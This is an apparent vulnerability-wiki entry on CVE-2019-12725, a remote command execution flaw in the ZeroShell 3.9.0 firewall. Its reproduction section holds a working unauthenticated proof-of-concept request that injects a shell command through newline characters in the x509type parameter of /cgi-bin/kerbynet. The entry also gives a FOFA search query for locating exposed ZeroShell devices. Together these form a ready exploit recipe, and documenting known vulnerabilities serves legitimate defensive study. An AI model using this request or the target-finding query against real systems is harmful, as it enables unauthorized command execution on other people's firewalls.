menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right ZeroShell chevron_right ZeroShell 3.9.0 远程命令执行漏洞 CVE-2019-12725.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    ZeroShell 3.9.0 远程命令执行漏洞 CVE-2019-12725.md
    938 B / 2021-07-04 06:01:08
        # ZeroShell 3.9.0 远程命令执行漏洞 CVE-2019-12725
    
    ## 漏洞描述
    
    ZeroShell 3.9.0 存在命令执行漏洞,/cgi-bin/kerbynet 页面,x509type 参数过滤不严格,导致攻击者可执行任意命令
    
    ## 漏洞影响
    
    > [!NOTE]
    >
    > ZeroShell < 3.9.0
    
    ## FOFA
    
    > [!NOTE]
    >
    > app="Zeroshell-防火墙"
    
    ## 漏洞复现
    
    登录页面如下
    
    ![](http://wikioss.peiqi.tech/vuln/zm-2.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    验证的POC为
    
    ```
    /cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27
    ```
    
    ![](http://wikioss.peiqi.tech/vuln/zm-1.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    links
    file_download